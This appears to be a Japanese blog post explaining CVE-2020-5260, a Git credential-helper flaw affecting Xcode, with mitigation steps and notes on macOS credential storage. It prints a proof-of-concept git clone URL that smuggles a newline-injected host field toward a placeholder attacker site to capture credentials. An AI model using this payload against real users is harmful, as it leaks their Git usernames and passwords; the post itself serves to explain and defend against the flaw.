CVE-2020-5260

【PoCあり】CVE-2020-5260 Xcode(Mac版)にgitの認証情報を取得される脆弱性のPoCとセキュリティ対策

投稿日: カテゴリー: セキュアコーディング
Pocket

CVE-2020-5260とはどんな脆弱性か

Xcode 11.4.1 より前のバージョンでcredential helperの脆弱性によりgitの認証情報が漏えいする可能性があります。
タイトルではxcodeにも影響があるためxcodeの記載はありますがGit credentialプロトコルの脆弱性です。
すでにPoCが公開されていますが、Xcodeを最新版にアップデートすることで回避可能です。

Gitのcredential helperとは

パスフレーズなしの鍵はSSHでは普通に利用できますが、HTTPSでは接続の度にユーザー名とパスワードが要求されます。
このときGitにはカスタムヘルパーコマンドとしてgit-credential-から始まる資格情報を記憶するコマンドが存在します。
これにより認証の必要なリポジトリへアクセスした際にユーザ名とパスワードを標準出力を介してGitへ返し
毎度のユーザ名とパスワードの入力を簡略化するのがcredential helperです。

CVE-2020-5260のPoC(実証概念コード)

改行コード「%0a」を送信したいサイトURLの後に指定したgit cloneコマンドを実行させることができれば認証情報が転送されます。
この間のZoomの脆弱性のUNCパスによる資格情報奪取といいPoCが単純で早く公開される脆弱性が続いています。

PoC(Proof of Concept)
git clone 'http://(攻撃者のサイトURL)/%0ahost=github.com%0aprotocol=https

 

CVE-2020-5260のPoC(実証概念コード)の解説

credential helperで利用するGit credentialプロトコルがPoCに対してどのような動きをするか見ていきましょう。

https://(攻撃者のサイトURL)?%0agithub.com/xxx
↓
protocol=https
host=(攻撃者のサイトURL)
host=github.com

ここで2つ目のhostsのみを受け入れるのであればいいのですが、両方とも「送信先として」有効になってしまいます。
結果、取得されたユーザ名とパスワードは悪意あるサイトへ送信されて取得されてしまいます。
2要素認証をセットしていたとしても策はあるので認証が突破される可能性は十分にあります。

CVE-2020-5260の対策

対策に関してはGitの公式に詳しく書いてあります。

最新版へアップデート

Git 2.26.1にアップデートをする。
Xcode 11.4.1 にアップデートをする。Appleは単純に改行コード「%0a」を潰してきました。

CVE-2020-5260の回避策

credential helpersを無効化します。
git config –unset credential.helper
git config –global –unset credential.helper
git config –system –unset credential.helper

Xcodeとgitって今回の脆弱性と何の関係があるのか

あります。今時エンジニアのみなさんはXcodeでgit機能を使っている方もいらっしゃると思います。
実はプロジェクトの作成からgithubにpushするまで幅広くgitと連携しています。
そもそもプロジェクト作成時点で「Create Git repository on my Mac」なんてチェックボックスが出ているくらいです。

認証情報の保存(credential.helper )に関してもう少し深掘り

credential.helperが実際どのように利用されるのか見ていきましょう。

MacOSでcredential helperの使い方に関して

MacOSでcredential helperにユーザー名とパスワードを記憶させる場合、osxkeychain helperを利用します。

$ git config --global credential.helper osxkeychain

これでユーザ名は保存されgit cloneの際に以下のように送ってくれます。

実行したコマンド
$ git clone https://gitlab.com/hogehoge
$ git clone https://myname:password@gitlab.com/hogehoge

これだとユーザを聞かれないためプライベートリポジトリのアクセス切り替えるにはどうすればいいのかということになりますが、
ユーザ名@を前につけると切り替えができます。(初回のみパスワードが聞かれます。)

$ git clone https://myname@gitlab.com/hogehoge
(そのユーザでのアクセスが初めての時のみ以下のようにパスワードが聞かれる)
Password for ’https://myname@gitlab.com/hogehoge’:

ユーザ情報を全消ししたいときは以下のコマンドで削除できます。

$ git credential-osxkeychain erase

git-credential-osxkeychain以外のgit-credentialの情報管理が気になる

デフォルトでは、なにもキャッシュされません。 接続するたび、ユーザー名とパスワードを尋ねられます。
git-credential-osxkeychain以外にはどんなモードがあるのか見ていきます。

git-credential-cache:認証情報が一定の間だけメモリーに記憶されます。 パスワードはディスクには保存されません。15分経つとメモリーから除去されます。
git-credential-store:認証情報がテキストファイルで(デフォルト~/.git-credentialsで)ディスクに保存されます。有効期限はありません。 さらに、パスワードが平文のテキストファイルでホームディレクトリに保存されます。
Git-Credential-Manager-for-Windows:何故これだけ大文字Windowsのパスワード管理を利用します。

git-credential-storeは今回の脆弱性(CVE-2020-5260)抜きにしてもセキュリティ的にマズイことがわかりましたね。

以上です。お役に立てれば幸いです。